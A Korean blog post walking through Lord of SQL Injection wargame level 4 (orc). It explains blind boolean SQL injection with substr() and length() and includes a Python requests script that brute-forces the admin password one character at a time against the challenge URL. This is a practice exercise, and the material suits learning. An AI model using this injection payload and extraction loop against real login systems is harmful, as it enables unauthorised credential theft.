Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- los 10번
- los nightmare
- los 1번
- los 18번
- los succubus
- lord of sql injection
- los_giant
- los 13번
- los gremlin
- los 4번
- los orc
- los 12번
- los dragon
- los_assassin
- los_vampire
- los skeleton
- los_troll
- los 16번
- los zombie_assassin
- los_15번
- los 9번
- los 8번
- los goblin
- los 14번
- los bugbear
- los darkknight
- los 20번
- los 3번
- lord of sql injcetion
- los 17번
Archives
- Today
- Total
paperHun
LOS 4번 본문
los 4번을 풀어보자.
먼가 이전과는 다른게 생긴거 같다. 조건문이 더 추가 된거 같다.
내가 입력한 pw 값이 맞는지 검사 해보는거 같다. 따라서 여기서는 pw값을 스킵하는 이전의 꼼수를 쓸수 없게 된거같다.

이전과는 다르게 간단하게 문제를 풀수 없을거 같다.
이번 문제를 풀기 위해서는 pw를 하나 하나 맞추어 보는수 밖에 없을꺼 같다. pw 전체를 맞추기에는 시간이 오래 걸릴꺼 같은데, 이때 substr함수를 사용하게 되면 획기적으로 시간을 줄일수 있다. 예를 들어 substr(pw,1,1)을 쓰게 된다면 pw중 1번째 글자부터 1개를 잘라낸다. 이 점을 이용하여 pw를 한자리 한자리 대입하여서 pw를 완성 하면된다.
pw의 길이는 엄청 길지는 않을테니 url안에 length()함수를 사용하여 비교값을 1부터 1씩 늘려가며 노가다로 찾았다. 다행히 8에서 끝났다 ㅎㅎ. 길이를 알아냈으니 이제 pw값을 구하는것만 남았다.
import requests
answer=""
cookies={'PHPSESSID':''}
for i in range(1,9):
for j in range(48,91):
URL="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' || id= 'admin' %26%26 substr(pw,"+str(i)+",1)='"+chr(j)+"'%23"
response=requests.get(URL,cookies=cookies)
if("Hello admin" in response.text):
print(chr(j))
answer+=chr(j)
break
print(answer)
requests 모듈을 사용하여 파이썬으로 pw를 때려 맞추는 방식을 택했다. 이 코드를 사용하게 되면 pw의 값을 하나씩 떼어내서 숫자와 영문자들을 하나씩 비교해보며 한자리씩 pw 값을 알아내준다.
코드를 도려 pw 값을 알아냈으니 pw에 입력해주면 위와 같이 클리어가 된다.